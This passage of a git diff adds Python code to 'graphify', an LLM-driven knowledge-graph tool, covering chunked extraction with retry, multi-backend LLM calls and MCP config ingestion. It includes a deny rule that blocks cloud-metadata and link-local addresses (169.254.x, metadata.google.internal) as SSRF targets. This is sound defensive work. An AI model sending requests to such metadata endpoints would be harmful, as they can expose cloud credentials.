_call_openai_compat( + cfg["base_url"], + key, + mdl, + user_msg, + temperature=cfg.get("temperature", 0), + reasoning_effort=cfg.get("reasoning_effort"), + max_completion_tokens=_resolve_max_tokens(cfg.get("max_completion_tokens", 8192)), + backend=backend, + deep_mode=deep_mode, + images=image_refs, + ) + + +def _estimate_file_tokens(path: Path) -> int: + """Estimate the prompt-token cost of a single file under `_read_files` rules. + + Uses tiktoken (`cl100k_base`) when available for accurate counts. Falls back + to the chars/4 heuristic if tiktoken is not installed. Both paths cap at + `_FILE_CHAR_CAP` to match `_read_files`'s truncation, plus a constant for + the `=== rel ===` separator. Returns 0 for unreadable paths so they don't + blow up packing. + """ + # Raster images are not read as text; a vision model bills them at a roughly + # fixed token cost, so estimate by image count rather than (binary) byte size. + if _is_vision_image(path): + return _IMAGE_TOKEN_ESTIMATE + if _TOKENIZER is None: + try: + size = path.stat().st_size + except OSError: + return 0 + chars = min(size, _FILE_CHAR_CAP) + _PER_FILE_OVERHEAD_CHARS + return chars // _CHARS_PER_TOKEN + + try: + content = path.read_text(encoding="utf-8", errors="replace")[:_FILE_CHAR_CAP] + except OSError: + return 0 + return len(_TOKENIZER.encode(content)) + (_PER_FILE_OVERHEAD_CHARS // _CHARS_PER_TOKEN) + + +def _pack_chunks_by_tokens( + files: list[Path], + token_budget: int, +) -> list[list[Path]]: + """Greedily pack files into chunks that fit a token budget. + + Files are first grouped by parent directory so related artifacts share a + chunk (cross-file edges are more likely to be extracted within a chunk + than across chunks). Within each directory, files are added one at a + time; a chunk is closed when adding the next file would exceed the + budget. A single file larger than the budget gets its own chunk and the + caller is expected to handle the API error if it actually overflows the + model's context window — packing can't shrink one big file. + """ + if token_budget <= 0: + raise ValueError(f"token_budget must be positive, got {token_budget}") + + by_dir: dict[Path, list[Path]] = {} + for f in files: + by_dir.setdefault(f.parent, []).append(f) + + chunks: list[list[Path]] = [] + current: list[Path] = [] + current_tokens = 0 + current_images = 0 + + for directory in sorted(by_dir): + for path in by_dir[directory]: + cost = _estimate_file_tokens(path) + is_image = _is_vision_image(path) + over_budget = current_tokens + cost > token_budget + over_images = is_image and current_images >= _MAX_IMAGES_PER_CHUNK + if current and (over_budget or over_images): + chunks.append(current) + current = [] + current_tokens = 0 + current_images = 0 + current.append(path) + current_tokens += cost + current_images += is_image + + if current: + chunks.append(current) + return chunks + + +_CONTEXT_EXCEEDED_MARKERS = ( + "context size", + "context length", + "context_length", + "context window", + "n_keep", + "exceeds the available", + "n_ctx", + "maximum context", + "too many tokens", + "prompt is too long", + "context_length_exceeded", +) + + +def _looks_like_context_exceeded(exc: BaseException) -> bool: + """Heuristically classify an exception as a context-window overflow. + + Different backends raise different exception types and messages for the + same underlying problem ("the prompt + max_completion_tokens did not fit + in the model's context window"). We match on substrings of the stringified + exception so the retry layer can recover without depending on a specific + SDK class. False positives are cheap (we'll re-extract on halves and + likely recover); false negatives are expensive (chunk fails entirely). + """ + msg = str(exc).lower() + return any(marker in msg for marker in _CONTEXT_EXCEEDED_MARKERS) + + +def _extract_with_adaptive_retry( + chunk: list[Path], + backend: str, + api_key: str | None, + model: str | None, + root: Path, + max_depth: int, + _depth: int = 0, + *, + deep_mode: bool = False, +) -> dict: + """Extract a chunk; if the response is truncated (`finish_reason="length"`) + or the API rejects the prompt as too large for the model's context window, + split the chunk in half and recurse. + + Three signals drive the retry, all funnelled through the same code: + + - `finish_reason == "length"` — the model accepted the input but ran out of + `max_completion_tokens` mid-output. The truncated JSON is unparseable, so + we discard it and re-extract on smaller inputs that produce shorter + outputs. + + - context-window-exceeded API errors — the model rejected the input + outright (HTTP 400 from LM Studio, llama.cpp, vLLM, OpenAI, etc.). + Without a retry the whole chunk would fail with no output. Splitting in + half is the same recovery as for the `length` case and works for the + same reason. + + - hollow successful responses — the model returned HTTP 200 with empty, + null, or unparseable content (typical of a local Ollama under load). + `_call_openai_compat` re-labels these as `finish_reason="length"` so they + take the same recovery path; without that the chunk would be silently + dropped from the corpus. + + Recursion is capped at `max_depth` to bound worst-case cost. A chunk of N + files can split into up to 2**max_depth pieces — at depth=3 that's 8x. If + still failing at the cap, we surface the (likely empty) result with a + warning rather than infinite-loop. + + A single-file chunk that overflows is unrecoverable here — we can't make + one file smaller than itself, so we return what we got and warn. + """ + try: + result = extract_files_direct( + chunk, backend=backend, api_key=api_key, model=model, root=root, deep_mode=deep_mode + ) + except Exception as exc: # noqa: BLE001 — re-raise unless it's a known context overflow + if not _looks_like_context_exceeded(exc): + raise + if len(chunk) <= 1: + print( + f"[graphify] single-file chunk {chunk[0]} exceeds model context " + f"and cannot be split further: {exc}", + file=sys.stderr, + ) + return {"nodes": [], "edges": [], "hyperedges": [], "input_tokens": 0, "output_tokens": 0, "model": model, "finish_reason": "stop"} + if _depth >= max_depth: + print( + f"[graphify] chunk of {len(chunk)} still overflows context at " + f"recursion depth {_depth} (max {max_depth}) — dropping", + file=sys.stderr, + ) + return {"nodes": [], "edges": [], "hyperedges": [], "input_tokens": 0, "output_tokens": 0, "model": model, "finish_reason": "stop"} + print( + f"[graphify] chunk of {len(chunk)} exceeded context at depth " + f"{_depth} ({type(exc).__name__}); splitting in half and retrying", + file=sys.stderr, + ) + mid = len(chunk) // 2 + left = _extract_with_adaptive_retry( + chunk[:mid], backend, api_key, model, root, max_depth, _depth + 1, deep_mode=deep_mode + ) + right = _extract_with_adaptive_retry( + chunk[mid:], backend, api_key, model, root, max_depth, _depth + 1, deep_mode=deep_mode + ) + return { + "nodes": left.get("nodes", []) + right.get("nodes", []), + "edges": left.get("edges", []) + right.get("edges", []), + "hyperedges": left.get("hyperedges", []) + right.get("hyperedges", []), + "input_tokens": left.get("input_tokens", 0) + right.get("input_tokens", 0), + "output_tokens": left.get("output_tokens", 0) + right.get("output_tokens", 0), + "model": model, + "finish_reason": "stop", + } + + if result.get("finish_reason") != "length": + return result + + if len(chunk) <= 1: + print( + f"[graphify] single-file chunk {chunk[0]} truncated at " + f"max_completion_tokens — partial result kept", + file=sys.stderr, + ) + return result + + if _depth >= max_depth: + print( + f"[graphify] chunk of {len(chunk)} still truncated at recursion " + f"depth {_depth} (max {max_depth}) — partial result kept", + file=sys.stderr, + ) + return result + + print( + f"[graphify] chunk of {len(chunk)} truncated at depth {_depth}, " + f"splitting into halves of {len(chunk) // 2} and " + f"{len(chunk) - len(chunk) // 2}", + file=sys.stderr, + ) + mid = len(chunk) // 2 + left = _extract_with_adaptive_retry( + chunk[:mid], backend, api_key, model, root, max_depth, _depth + 1, deep_mode=deep_mode + ) + right = _extract_with_adaptive_retry( + chunk[mid:], backend, api_key, model, root, max_depth, _depth + 1, deep_mode=deep_mode + ) + + return { + "nodes": left.get("nodes", []) + right.get("nodes", []), + "edges": left.get("edges", []) + right.get("edges", []), + "hyperedges": left.get("hyperedges", []) + right.get("hyperedges", []), + "input_tokens": left.get("input_tokens", 0) + right.get("input_tokens", 0), + "output_tokens": left.get("output_tokens", 0) + right.get("output_tokens", 0), + "model": result.get("model"), + # Both halves either succeeded or have already surfaced their own + # truncation warning; the merged result is no longer truncated as a + # logical unit. + "finish_reason": "stop", + } + + +def extract_corpus_parallel( + files: list[Path], + backend: str = "kimi", + api_key: str | None = None, + model: str | None = None, + root: Path = Path("."), + chunk_size: int = 20, + on_chunk_done: Callable | None = None, + token_budget: int | None = 60_000, + max_concurrency: int = 4, + max_retry_depth: int = 3, + deep_mode: bool = False, +) -> dict: + """Extract a corpus in chunks, merging results. + + Chunking strategy: + - If `token_budget` is set (default 60_000), files are packed to fit + the budget and grouped by parent directory. This avoids the worst + case where 20 randomly-grouped files exceed a model's context + window in a single request. + - If `token_budget=None`, falls back to the legacy fixed-count + `chunk_size` packing for backwards compatibility. + + Concurrency: + - Chunks run in parallel via a thread pool capped at `max_concurrency` + (default 4 — conservative to stay under provider rate limits). + - Set `max_concurrency=1` to force sequential execution. + + Adaptive retry on truncation: + - When the LLM returns `finish_reason="length"` (output truncated at + `max_completion_tokens`), the chunk is split in half and each half + re-extracted recursively, up to `max_retry_depth` levels deep + (default 3 → max 8x expansion of one chunk). + - This is signal-driven: chunks too dense to fit in one response + self-heal by splitting until they do, while well-sized chunks pay + no extra cost. Set `max_retry_depth=0` to disable retries. + + `on_chunk_done(idx, total, chunk_result)` fires once per chunk as it + completes (in completion order, not submission order). `idx` is the + chunk's submission index so callers can correlate progress. The + callback fires once per top-level chunk; recursive splits are merged + transparently before the callback is invoked. + + Returns merged dict with nodes, edges, hyperedges, input_tokens, + output_tokens. Failed chunks are logged to stderr and skipped — one bad + chunk does not abort the run. + """ + if token_budget is not None: + chunks = _pack_chunks_by_tokens(files, token_budget=token_budget) + else: + chunks = [files[i:i + chunk_size] for i in range(0, len(files), chunk_size)] + + merged: dict = { + "nodes": [], "edges": [], "hyperedges": [], + "input_tokens": 0, "output_tokens": 0, + "failed_chunks": 0, # count of chunks that raised — loud failure on chunk errors + } + total = len(chunks) + + def _run_one(idx: int, chunk: list[Path]) -> tuple[int, dict | None, Exception | None]: + t0 = time.time() + try: + result = _extract_with_adaptive_retry( + chunk, + backend=backend, + api_key=api_key, + model=model, + root=root, + max_depth=max_retry_depth, + deep_mode=deep_mode, + ) + result["elapsed_seconds"] = round(time.time() - t0, 2) + return idx, result, None + except Exception as exc: # noqa: BLE001 — caller-facing surface, log + continue + return idx, None, exc + + # Ollama serves one request at a time per loaded model on a single GPU. + # Four concurrent 60k-token requests cause VRAM pressure and hollow + # responses after 3-4 chunks (#798). Force serial unless the user opts in. + if backend == "ollama" and os.environ.get("GRAPHIFY_OLLAMA_PARALLEL", "").strip() != "1": + max_concurrency = 1 + # claude-cli shells out to a Claude Code session; parallel subprocesses conflict + # over session state. Force serial unless the user explicitly opts in. + if backend == "claude-cli" and os.environ.get("GRAPHIFY_CLAUDE_CLI_PARALLEL", "").strip() != "1": + max_concurrency = 1 + workers = max(1, min(max_concurrency, total)) + if workers == 1: + # Avoid thread pool overhead for single-worker runs (and keep + # callback ordering identical to the pre-refactor sequential path). + for idx, chunk in enumerate(chunks): + _, result, exc = _run_one(idx, chunk) + if exc is not None: + print(f"[graphify] chunk {idx + 1}/{total} failed: {exc}", file=sys.stderr) + merged["failed_chunks"] += 1 + continue + assert result is not None + _merge_into(merged, result) + if callable(on_chunk_done): + on_chunk_done(idx, total, result) + else: + with ThreadPoolExecutor(max_workers=workers) as pool: + futures = [pool.submit(_run_one, idx, chunk) for idx, chunk in enumerate(chunks)] + for future in as_completed(futures): + idx, result, exc = future.result() + if exc is not None: + print( + f"[graphify] chunk {idx + 1}/{total} failed: {exc}", + file=sys.stderr, + ) + merged["failed_chunks"] += 1 + continue + assert result is not None + _merge_into(merged, result) + if callable(on_chunk_done): + on_chunk_done(idx, total, result) + + # Loud failure summary — surface chunk failures at end so they're never + # buried mid-log. Exit 0 preserved for caller compatibility; the + # summary block makes the problem visible. + if merged["failed_chunks"] > 0: + print( + f"[graphify] WARNING: {merged['failed_chunks']}/{total} semantic chunk(s) failed" + " — see errors above. Partial results returned.", + file=sys.stderr, + ) + return merged + + +def _merge_into(merged: dict, result: dict) -> None: + """Append a chunk result into the running merged accumulator.""" + merged["nodes"].extend(result.get("nodes", [])) + merged["edges"].extend(result.get("edges", [])) + merged["hyperedges"].extend(result.get("hyperedges", [])) + merged["input_tokens"] += result.get("input_tokens", 0) + merged["output_tokens"] += result.get("output_tokens", 0) + + +def _call_llm(prompt: str, *, backend: str, max_tokens: int = 200) -> str: + """Send a plain-text prompt to `backend` and return the model's text reply. + + Used by lightweight callers (e.g. `graphify.dedup` LLM tiebreaker) that + don't need the full extraction prompt or JSON-shaped output. Mirrors the + backend dispatch logic of `extract_files_direct` but skips the + `_EXTRACTION_SYSTEM` prompt and JSON parsing. + + Previously `graphify.dedup` imported a `_call_llm` symbol that did not + exist in this module, so the LLM tiebreaker silently no-op'd on + `ImportError` (F-038). Adding the function here re-enables it. + """ + if backend not in BACKENDS: + raise ValueError(f"Unknown backend {backend!r}") + cfg = BACKENDS[backend] + key = _get_backend_api_key(backend) + if not key and backend == "ollama": + ollama_url = os.environ.get("OLLAMA_BASE_URL", cfg.get("base_url", "")) + _validate_ollama_base_url(ollama_url) + key = "ollama" + if not key and backend not in ("bedrock", "claude-cli"): + raise ValueError( + f"No API key for backend '{backend}'. Set {_format_backend_env_keys(backend)}." + ) + mdl = _default_model_for_backend(backend) + + if backend == "claude": + try: + import anthropic + except ImportError as exc: + raise ImportError(_backend_pkg_hint("anthropic", "anthropic")) from exc + client = anthropic.Anthropic(api_key=key) + resp = client.messages.create( + model=mdl, + max_tokens=max_tokens, + messages=[{"role": "user", "content": prompt}], + ) + return resp.content[0].text if resp.content else "" + + if backend == "claude-cli": + import shutil, subprocess + if shutil.which("claude") is None: + raise RuntimeError("Claude Code CLI not found on $PATH") + proc = subprocess.run( + ["claude", "-p", "--output-format", "json", "--no-session-persistence"], + input=prompt, + capture_output=True, + text=True, + encoding="utf-8", # Force UTF-8 — prevents UnicodeEncodeError on Windows cp1252 + timeout=_resolve_api_timeout(), + check=False, + ) + if proc.returncode != 0: + raise RuntimeError(f"claude -p exited {proc.returncode}: {proc.stderr.strip()[:500]}") + try: + envelope = json.loads(proc.stdout) + except json.JSONDecodeError as exc: + raise RuntimeError(f"claude -p produced unparseable JSON envelope: {exc}") from exc + return envelope.get("result", "") + + + if backend == "bedrock": + try: + import boto3 + except ImportError as exc: + raise ImportError(_backend_pkg_hint("boto3", "bedrock")) from exc + region = os.environ.get("AWS_REGION") or os.environ.get("AWS_DEFAULT_REGION") or "us-east-1" + profile = os.environ.get("AWS_PROFILE") + session = boto3.Session(profile_name=profile, region_name=region) + client = session.client("bedrock-runtime") + resp = client.converse( + modelId=mdl, + messages=[{"role": "user", "content": [{"text": prompt}]}], + inferenceConfig={"maxTokens": max_tokens, "temperature": 0}, + ) + return resp.get("output", {}).get("message", {}).get("content", [{}])[0].get("text", "") + + if backend == "azure": + endpoint = os.environ.get("AZURE_OPENAI_ENDPOINT", "").strip() + if not endpoint: + raise ValueError( + "Azure OpenAI backend requires AZURE_OPENAI_ENDPOINT to be set." + ) + azure_client = _azure_client(key, endpoint) + resp = azure_client.chat.completions.create( + model=mdl, + messages=[{"role": "user", "content": prompt}], + max_completion_tokens=max_tokens, + temperature=cfg.get("temperature", 0), + ) + if not resp.choices or resp.choices[0].message is None: + raise ValueError("Azure OpenAI returned empty or filtered response") + return resp.choices[0].message.content or "" + + # OpenAI-compatible (kimi, openai, gemini, ollama) + try: + from openai import OpenAI + except ImportError as exc: + raise ImportError(_backend_pkg_hint("openai", "openai")) from exc + client = OpenAI(api_key=key, base_url=cfg["base_url"]) + kwargs: dict = { + "model": mdl, + "messages": [{"role": "user", "content": prompt}], + "max_completion_tokens": max_tokens, + } + temperature = cfg.get("temperature", 0) + if temperature is not None: + kwargs["temperature"] = temperature + if cfg.get("reasoning_effort"): + kwargs["reasoning_effort"] = cfg["reasoning_effort"] + if "moonshot" in cfg["base_url"]: + kwargs["extra_body"] = {"thinking": {"type": "disabled"}} + resp = client.chat.completions.create(**kwargs) + if not resp.choices or resp.choices[0].message is None: + raise ValueError("LLM returned empty or filtered response") + return resp.choices[0].message.content or "" + + +def estimate_cost(backend: str, input_tokens: int, output_tokens: int) -> float: + """Estimate USD cost for a given token count using published pricing.""" + if backend not in BACKENDS: + return 0.0 + p = BACKENDS[backend]["pricing"] + return (input_tokens * p["input"] + output_tokens * p["output"]) / 1_000_000 + + +def _ollama_host_is_link_local_or_metadata(host: str) -> bool: + """True if *host* is, or resolves to, a link-local / cloud-metadata address. + + Resolves the name so an alias pointing at 169.254.169.254 is caught too, not + just a literal IP. General private/LAN addresses are deliberately NOT treated + as metadata: people do run Ollama on trusted LAN boxes, so those only warn. + """ + import ipaddress + import socket + if host in ("metadata.google.internal", "metadata.google.com", "0.0.0.0", "::", "[::]"): # nosec B104 - blocklist, not a bind + return True + if host.startswith("169.254."): # link-local literal, includes the metadata IP + return True + try: + infos = socket.getaddrinfo(host, None, socket.AF_UNSPEC, socket.SOCK_STREAM) + except (socket.gaierror, UnicodeError, OSError): + return False + for info in infos: + try: + ip = ipaddress.ip_address(info[4][0]) + except ValueError: + continue + if ip.is_link_local: # 169.254.0.0/16 and fe80::/10 (includes the metadata IP) + return True + return False + + +def _validate_ollama_base_url(url: str, *, warn: bool = True) -> None: + """Warn if OLLAMA_BASE_URL looks unsafe; hard-block link-local/metadata (F3). + + Sending an entire corpus to a non-loopback http:// endpoint silently leaks + proprietary code, but some users genuinely run Ollama on a LAN host they + trust, so a general non-loopback target only warns. A link-local or cloud + metadata address (169.254.x, metadata.google.*, or any host that resolves to + one) is never a legitimate Ollama host and is a classic SSRF target, so we + fail closed with a ValueError there regardless of *warn*. Pass warn=False for + an early gate that should hard-block but leave the user-facing warning to the + later in-flow call. + """ + try: + from urllib.parse import urlparse + parsed = urlparse(url) + except Exception: + if warn: + print( + f"[graphify] WARNING: OLLAMA_BASE_URL={url!r} is not a parseable URL.", + file=sys.stderr, + ) + return + if parsed.scheme not in ("http", "https"): + if warn: + print( + f"[graphify] WARNING: OLLAMA_BASE_URL has unexpected scheme {parsed.scheme!r}; " + "expected http or https.", + file=sys.stderr, + ) + return + host = (parsed.hostname or "").lower() + if _ollama_host_is_link_local_or_metadata(host): + raise ValueError( + f"OLLAMA_BASE_URL points at a link-local/metadata address ({host!r}); refusing to " + "send the corpus there. Set it to a real Ollama host." + ) + is_loopback = host in ("localhost", "127.0.0.1", "::1") or host.startswith("127.") + if warn and not is_loopback: + scheme_note = " (UNENCRYPTED)" if parsed.scheme == "http" else "" + print( + f"[graphify] WARNING: OLLAMA_BASE_URL points to non-loopback host {host!r}{scheme_note}. " + "Your full corpus will be sent to that endpoint. " + "Set OLLAMA_BASE_URL=http://localhost:11434/v1 to keep extraction local.", + file=sys.stderr, + ) + + +def detect_backend() -> str | None: + """Return the name of whichever backend has an API key set, or None. + + Priority: gemini → kimi → claude → openai → deepseek → azure → bedrock → ollama (last, opt-in). + + Ollama is intentionally checked LAST so a paid API key (Anthropic/OpenAI/etc.) + is never silently shadowed by an incidental OLLAMA_BASE_URL in the environment + — see security finding F-002/F-029. Setting OLLAMA_BASE_URL alongside a paid + key now keeps you on the paid backend; remove the paid key (or pass + --backend ollama explicitly) to route to the local model. + """ + for backend in ("gemini", "kimi", "claude", "openai", "deepseek"): + if _get_backend_api_key(backend): + return backend + if _get_backend_api_key("azure") and os.environ.get("AZURE_OPENAI_ENDPOINT"): + return "azure" + if os.environ.get("AWS_PROFILE") or os.environ.get("AWS_REGION") or os.environ.get("AWS_DEFAULT_REGION"): + return "bedrock" + ollama_url = os.environ.get("OLLAMA_BASE_URL") + if ollama_url: + _validate_ollama_base_url(ollama_url) + return "ollama" + for name in BACKENDS: + if name not in ("gemini", "kimi", "claude", "openai", "deepseek", "azure", "bedrock", "ollama", "claude-cli"): + if _get_backend_api_key(name): + return name + return None + + +# ── Community labeling ──────────────────────────────────────────────────────── +# When graphify runs inside an orchestrating agent (Claude Code / Gemini CLI), +# the agent names communities itself per skill.md Step 5 - it reads the analysis +# file and writes 2-5 word names with its own reasoning, no API call. When +# graphify is run as a bare CLI (``graphify extract . --backend X``), there is no +# agent to do that step, so community labels stay ``Community 0/1/2...``. These +# helpers fill that gap: ask the configured backend to name communities in ONE +# batched call and return a complete ``{cid: name}`` map (#1097). + +_LABEL_FENCE_RE = re.compile(r"^\s*```(?:json)?\s*|\s*```\s*$", re.IGNORECASE) +_LABEL_MAX_COMMUNITIES = 200 # cap LLM-named communities; tail stays placeholder +_LABEL_TOP_K = 12 # node labels sampled per community for the prompt +_LABEL_MAXLEN = 60 # truncate individual labels to keep the prompt small + + +def _placeholder_community_labels(communities) -> dict[int, str]: + return {int(cid): f"Community {cid}" for cid in communities} + + +def _community_label_lines(G, communities, gods, max_communities, top_k): + """One prompt line per community (largest first), sampling up to ``top_k`` + representative node labels (god nodes first). Returns (lines, labeled_cids); + skips communities with no resolvable nodes.""" + # gods may be node-id strings or god_nodes() dicts ({"id": ..., "label": ...}). + god_set = {g["id"] if isinstance(g, dict) else g for g in (gods or [])} + ordered = sorted(communities.items(), key=lambda kv: -len(kv[1])) + lines: list[str] = [] + labeled_cids: list[int] = [] + for cid, members in ordered[:max_communities]: + ranked = [m for m in members if m in god_set] + [m for m in members if m not in god_set] + names: list[str] = [] + seen: set[str] = set() + for nid in ranked: + label = str(G.nodes[nid].get("label", nid)) if nid in G.nodes else str(nid) + label = label.strip().strip("()")[:_LABEL_MAXLEN] + if label and label.lower() not in seen: + seen.add(label.lower()) + names.append(label) + if len(names) >= top_k: + break + if names: + lines.append(f"Community {cid}: {', '.join(names)}") + labeled_cids.append(int(cid)) + return lines, labeled_cids + + +def _parse_label_response(text: str, labeled_cids: list[int]) -> dict[int, str]: + """Parse the backend's JSON ``{cid: name}`` reply. Raises on non-JSON or a + non-object payload; silently ignores cids it didn't name.""" + cleaned = _LABEL_FENCE_RE.sub("", text.strip()) + if not cleaned.startswith("{"): + start, end = cleaned.find("{"), cleaned.rfind("}") + if start != -1 and end > start: + cleaned = cleaned[start:end + 1] + data = json.loads(cleaned) + if not isinstance(data, dict): + raise ValueError("label response is not a JSON object") + out: dict[int, str] = {} + for cid in labeled_cids: + name = data.get(str(cid)) + if name is None: + name = data.get(cid) + if isinstance(name, str) and name.strip(): + out[cid] = name.strip() + return out + + +def label_communities( + G, + communities, + *, + backend: str, + gods=None, + max_communities: int = _LABEL_MAX_COMMUNITIES, + top_k: int = _LABEL_TOP_K, +) -> dict[int, str]: + """Return a complete ``{cid: name}`` map using ``backend`` for naming. + + Placeholders (``Community N``) are used for any community the backend did not + name. Raises on backend/parse failure - callers that want graceful + degradation should use :func:`generate_community_labels`. + """ + labels = _placeholder_community_labels(communities) + lines, labeled_cids = _community_label_lines(G, communities, gods, max_communities, top_k) + if not lines: + return labels + + prompt = ( + "You are naming clusters in a knowledge graph. For each community below, " + "return a concise 2-5 word plain-language name describing what it is about " + "(e.g. \"Order Management\", \"Payment Flow\", \"Auth Middleware\"). " + "Respond ONLY with a JSON object mapping the community id (as a string) to " + "its name - no prose, no markdown fences.\n\n" + "\n".join(lines) + ) + + max_tokens = min(40 + 16 * len(labeled_cids), 4096) + text = _call_llm(prompt, backend=backend, max_tokens=max_tokens) + labels.update(_parse_label_response(text, labeled_cids)) + return labels + + +def generate_community_labels( + G, + communities, + *, + backend: str | None = None, + gods=None, + quiet: bool = False, +) -> tuple[dict[int, str], str]: + """CLI entry point: resolve a backend, name communities, and degrade to + ``Community N`` placeholders on any failure (no backend, API error, malformed + reply). Returns ``(labels, source)`` where source is ``"llm"`` or + ``"placeholder"``. Never raises.""" + if backend is None: + try: + backend = detect_backend() + except Exception: + backend = None + if not backend: + if not quiet: + print( + "[graphify label] no LLM backend configured; keeping Community N " + "placeholders. Set an API key (e.g. GOOGLE_API_KEY) or pass --backend.", + file=sys.stderr, + ) + return _placeholder_community_labels(communities), "placeholder" + try: + labels = label_communities(G, communities, backend=backend, gods=gods) + return labels, "llm" + except Exception as exc: + if not quiet: + print( + f"[graphify label] warning: community labeling failed ({exc}); " + "using Community N placeholders.", + file=sys.stderr, + ) + return _placeholder_community_labels(communities), "placeholder" diff --git a/skills/graphify/manifest.py b/skills/graphify/manifest.py new file mode 100644 index 00000000..cc74b844 --- /dev/null +++ b/skills/graphify/manifest.py @@ -0,0 +1,4 @@ +# re-export manifest helpers from detect for backwards compatibility +from graphify.detect import save_manifest, load_manifest, detect_incremental + +__all__ = ["save_manifest", "load_manifest", "detect_incremental"] diff --git a/skills/graphify/mcp_ingest.py b/skills/graphify/mcp_ingest.py new file mode 100644 index 00000000..1879dcc7 --- /dev/null +++ b/skills/graphify/mcp_ingest.py @@ -0,0 +1,392 @@ +"""mcp_ingest.py — Extract MCP (Model Context Protocol) server configuration files. + +Reads `.mcp.json` / `claude_desktop_config.json` / `mcp.json` / `mcp_servers.json` +and turns the `mcpServers` map into Graphify nodes and edges. + +Symmetry with `serve.py`: Graphify exposes itself AS an MCP server. This module +indexes MCP servers AS a corpus type, completing the loop — an agent that runs +graphify with `--mcp` can now query its own configured MCP layer. + +Entry point: + extract_mcp_config(path: Path) -> dict[str, list[dict]] + + Returns `{"nodes": [...], "edges": [...]}` compatible with Graphify's + extraction-result format. Returns `{"nodes": [...], "edges": [...], "error": "..."}` + when the file is malformed, too large, or has no `mcpServers` map — the empty + result keeps it indistinguishable from "no MCP config here" for downstream + callers. + +Detected filenames (case-sensitive, matched on basename): + - .mcp.json (Claude Code project config) + - claude_desktop_config.json (Claude Desktop) + - mcp.json (generic / per-tool) + - mcp_servers.json (alternate naming) + +Schema emitted: + Node kinds: + - file the config file itself (label = filename) + - mcp_server one per entry under mcpServers + - mcp_command executable (npx, uvx, node, python, ...) — global ID + - mcp_package npm / pypi package id parsed from args — global ID + - env_var env variable NAME only — global ID. VALUES ARE NEVER READ. + + Edge relations: + - contains file -> mcp_server + - references mcp_server -> mcp_command + - references mcp_server -> mcp_package + - requires_env mcp_server -> env_var (new relation; distinguishes + env dependencies from generic refs) + +Security: + - Env var VALUES are never read, persisted, labelled, or surfaced. Only env + var NAMES become nodes. (`env: {"API_KEY": "sk-..."}` -> node "API_KEY" only.) + - File size capped at 1 MiB (matches extract_json). + - All labels go through `sanitize_label` (control characters stripped, length + capped) before emission. + - Args are NOT persisted as nodes/edges to avoid leaking paths or secrets that + some servers embed as positional args. + +Cross-config emergent edges: + Because `mcp_command`, `mcp_package`, and `env_var` nodes use global IDs (no + per-file stem prefix), the same package or env var across two MCP configs + produces shared nodes — naturally surfacing "what configs depend on this + thing?" via graph traversal. Server nodes ARE stem-scoped so two configs + declaring different servers under the same key (e.g., both have "filesystem") + do not collide. +""" + +from __future__ import annotations + +import json +import re +import unicodedata +from pathlib import Path +from typing import Any + +from graphify.security import sanitize_label + + +MCP_CONFIG_FILENAMES: frozenset[str] = frozenset({ + ".mcp.json", + "claude_desktop_config.json", + "mcp.json", + "mcp_servers.json", +}) + +_MAX_BYTES = 1_048_576 # 1 MiB — same cap as extract_json +_MAX_SERVERS_PER_FILE = 200 # generous; flags pathological configs + + +def is_mcp_config_path(path: Path) -> bool: + """Return True when ``path`` is a recognised MCP config filename.""" + return path.name in MCP_CONFIG_FILENAMES + + +def extract_mcp_config(path: Path) -> dict[str, Any]: + """Parse an MCP config file into Graphify nodes and edges. + + Behaviour matches other extractors in `extract.py`: + - returns ``{"nodes": [...], "edges": [...]}`` on success + - returns ``{"nodes": [], "edges": [], "error": ""}`` on parse + failure, oversize file, or missing ``mcpServers`` map + """ + try: + with path.open("rb") as fh: + raw = fh.read(_MAX_BYTES + 1) + except OSError as exc: + return {"nodes": [], "edges": [], "error": f"mcp_ingest read error: {exc}"} + + if len(raw) > _MAX_BYTES: + return {"nodes": [], "edges": [], "error": "mcp config too large to index"} + + try: + text = raw.decode("utf-8") + except UnicodeDecodeError as exc: + return {"nodes": [], "edges": [], "error": f"mcp_ingest decode error: {exc}"} + + try: + doc = json.loads(text) + except json.JSONDecodeError as exc: + return {"nodes": [], "edges": [], "error": f"mcp_ingest json error: {exc}"} + + if not isinstance(doc, dict): + return {"nodes": [], "edges": [], "error": "mcp_ingest: root is not an object"} + + servers = doc.get("mcpServers") + if not isinstance(servers, dict): + # Some tools nest the map (e.g., {"mcp": {"servers": {...}}}). Try one + # well-known alternate shape but do not search exhaustively. + nested = doc.get("mcp") + if isinstance(nested, dict): + servers = nested.get("servers") + if not isinstance(servers, dict): + return {"nodes": [], "edges": [], "error": "mcp_ingest: no mcpServers map"} + + str_path = str(path) + file_nid = _make_id(str_path) + nodes: list[dict[str, Any]] = [] + edges: list[dict[str, Any]] = [] + seen_node_ids: set[str] = set() + seen_edge_keys: set[tuple[str, str, str]] = set() + + _add_node( + nodes, seen_node_ids, + nid=file_nid, + label=path.name, + kind="mcp_config_file", + source_file=str_path, + line=1, + ) + + file_stem = _file_stem(path) + server_count = 0 + for server_name, spec in servers.items(): + if not isinstance(server_name, str) or not server_name: + continue + if not isinstance(spec, dict): + # Skip non-object server entries silently — the broken entry is + # the user's, not ours. + continue + if server_count >= _MAX_SERVERS_PER_FILE: + break + server_count += 1 + _emit_server( + server_name=server_name, + spec=spec, + file_nid=file_nid, + file_stem=file_stem, + source_file=str_path, + nodes=nodes, + edges=edges, + seen_node_ids=seen_node_ids, + seen_edge_keys=seen_edge_keys, + ) + + return {"nodes": nodes, "edges": edges} + + +def _emit_server( + *, + server_name: str, + spec: dict[str, Any], + file_nid: str, + file_stem: str, + source_file: str, + nodes: list[dict[str, Any]], + edges: list[dict[str, Any]], + seen_node_ids: set[str], + seen_edge_keys: set[tuple[str, str, str]], +) -> None: + """Emit nodes/edges for one entry under ``mcpServers``.""" + server_nid = _make_id(file_stem, "mcp_server", server_name) + _add_node( + nodes, seen_node_ids, + nid=server_nid, + label=server_name, + kind="mcp_server", + source_file=source_file, + line=1, # JSON doesn't expose line numbers without a parser pass + ) + _add_edge( + edges, seen_edge_keys, + source=file_nid, + target=server_nid, + relation="contains", + source_file=source_file, + line=1, + ) + + command = spec.get("command") + if isinstance(command, str) and command.strip(): + cmd_label = command.strip() + cmd_nid = _make_id("mcp_command", cmd_label) + _add_node( + nodes, seen_node_ids, + nid=cmd_nid, + label=cmd_label, + kind="mcp_command", + source_file=source_file, + line=1, + ) + _add_edge( + edges, seen_edge_keys, + source=server_nid, + target=cmd_nid, + relation="references", + source_file=source_file, + line=1, + context="command", + ) + + args = spec.get("args") + if isinstance(args, list): + package = _detect_package_from_args(args) + if package: + pkg_nid = _make_id("mcp_package", package) + _add_node( + nodes, seen_node_ids, + nid=pkg_nid, + label=package, + kind="mcp_package", 